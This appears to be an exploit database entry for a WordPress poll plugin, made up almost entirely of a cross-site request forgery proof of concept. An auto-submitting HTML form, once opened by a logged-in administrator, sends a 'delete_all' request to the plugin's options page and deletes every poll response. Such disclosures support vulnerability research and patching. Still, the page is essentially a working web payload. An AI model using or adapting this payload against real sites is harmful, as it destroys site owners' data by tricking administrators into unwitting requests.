## https://sploitus.com/exploit?id=WPEX-ID:481A376B-55BE-4AFA-94F5-C3CF8A88B8D1
Make a logged in admin open the following:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/options-general.php?page=nps-plugin-options" method="POST">
<input type="text" id="event" name="event" value='delete_all'>
<input type="submit" value="submit" name="add">
</form>
</body>
```
The result is that all existing poll responses are deleted.